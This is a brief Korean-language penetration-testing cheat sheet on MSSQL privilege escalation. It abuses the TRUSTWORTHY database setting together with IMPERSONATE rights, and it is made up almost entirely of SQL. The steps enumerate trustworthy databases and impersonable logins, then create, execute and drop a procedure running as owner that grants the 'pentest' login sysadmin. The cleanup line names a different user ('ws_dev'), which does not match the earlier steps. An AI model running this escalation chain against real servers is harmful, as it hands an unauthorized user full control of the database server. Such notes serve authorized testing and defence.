TRUSTWORTHY
# 데이터베이스의 TRUSTWORTHY 활성화 여부 확인
SELECT name, is_trustworthy_on FROM sys.databases;
# 가장할 수 있는 사용자 목록 열거
SELECT name FROM sys.server_permissions JOIN sys.server_principals ON grantor_principal_id = principal_id WHERE permission_name = 'IMPERSONATE';
# 현재 사용자 / 가장한 사용자 콘솔에서 유저가 TRUSTWORTHY가 활성화된 데이터베이스의 오너인지 확인
SELECT IS_ROLEMEMBER('db_owner');
# vintim 사용자 계정을 가장하여 권한상승 프로시서 생성 및 활성화 후 삭제
CREATE PROCEDURE sp_privesc WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'pentest', 'sysadmin';
EXECUTE sp_privesc;
DROP PROCEDURE sp_privesc;
# pentest 사용자 세션으로 돌아와서 권한 정보 확인
REVERT;
SELECT IS_SRVROLEMEMBER('sysadmin');
# pentest 사용자 권한 되돌리기
EXEC sp_dropsrvrolemember 'ws_dev', 'sysadmin';
References
Last updated